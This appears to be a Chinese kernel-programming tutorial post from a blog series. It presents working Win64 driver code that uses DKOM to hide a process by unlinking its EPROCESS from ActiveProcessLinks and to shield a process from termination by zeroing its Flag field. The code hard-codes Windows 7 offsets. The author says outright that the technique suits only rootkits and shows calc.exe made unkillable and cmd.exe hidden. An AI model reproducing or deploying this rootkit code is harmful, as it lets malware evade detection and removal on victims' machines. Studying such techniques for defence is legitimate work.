zoukankan      html  css  js  c++  java
  • Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程

    主要就是操作链表,以及修改节点内容。

    DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 64为例。

    关 注 两 个 成 员 : ActiveProcessLinks 和 Flag 

    ActiveProcessLinks 把各个EPROCESS 结构体连接成“双向链表”,ZwQuerySystemInformation枚举进程时就是枚举这条链表,如果将某个 EPROCESS 从中摘除,ZwQuerySystemInformation就无法枚举到被摘链的进程了,而依靠此函数的一堆 RING3 的枚举进程函数也失效了;而把Flag 置 后,OpenProcess 函数就会返回失败。不过需要注意的是,用 用 DKOM  来保护进程会有很大的隐患,比如用 调用 CreateProcess  会 失败,而且 进程 退出 但 不取消保护的话,有一定机率导致蓝屏。一句话,DKOM  保护进程 和 隐藏进程 只适用于 ROOTKIT ,而不适用于正规软件。实现隐藏进程和保护进程的代码如下:

    NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
    NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
     
    //目标进程
    PEPROCESS audiodg=NULL, dwm=NULL;
    ULONG op_dat;
     
    //偏移定义
    #define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET	0x188
    #define PROCESS_FLAG_OFFSET	0x440
     
    //获得EPROCESS
    PEPROCESS GetProcessObjectByName(char *name)
    {
    SIZE_T i;
    for(i=100;i<20000;i+=4)
    {
    NTSTATUS st;
    PEPROCESS ep;
    st=PsLookupProcessByProcessId((HANDLE)i,&ep);
    if(NT_SUCCESS(st))
    {
    char *pn=PsGetProcessImageFileName(ep);
    if(_stricmp(pn,name)==0)
    return ep;
    }
    }
    return NULL;
    }
     
    //摘除双向链表的指定项
    VOID RemoveListEntry(PLIST_ENTRY ListEntry)
    {
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry &&
    ListEntry->Blink != ListEntry &&
    ListEntry->Blink->Flink == ListEntry &&
    ListEntry->Flink->Blink == ListEntry) 
    {
    ListEntry->Flink->Blink = ListEntry->Blink;
    ListEntry->Blink->Flink = ListEntry->Flink;
    ListEntry->Flink = ListEntry;
    ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
    }
    //隐藏进程
    VOID HideProcess(PEPROCESS Process)
    {
    RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
    }
     
    //保护进程
    ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
    {
    ULONG op;
    if(bIsProtect)
    {
    op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
    *(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
    return op;
    }
    else
    {
    *(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
    return 0;
    }
    }
     
    VOID test()
    {
    audiodg=GetProcessObjectByName("calc.exe");DbgPrint("calc: %p
    ",audiodg);
    if(audiodg)
    {
    op_dat=ProtectProcess(audiodg,1,0);
    ObDereferenceObject(audiodg);
    }
    dwm=GetProcessObjectByName("cmd.exe");DbgPrint("cmd: %p
    ",dwm);
    if(dwm)
    {
    HideProcess(dwm);
    ObDereferenceObject(dwm);
    }
    }


    执行结果:计算器结束不了,cmd.exe没有进程


    但是cmd有这个:

     

  • 相关阅读:
    luogu P2015 二叉苹果树
    luogu P1197 [JSOI2008]星球大战
    QBXT T15214 Day2上午遭遇
    luogu P2831 愤怒的小鸟
    luogu P1018 乘积最大
    [BZOJ2402]陶陶的难题II(树链剖分+线段树维护凸包+分数规划)
    [BZOJ1500][NOI2005]维修数列(splay)
    [BZOJ3282]Tree(LCT)
    [BZOJ4785][ZJOI2017]树状数组(概率+二维线段树)
    [BZOJ2427][HAOI2010]软件安装(Tarjan+DP)
  • 原文地址:https://www.cnblogs.com/csnd/p/12062002.html
Copyright © 2011-2022 走看看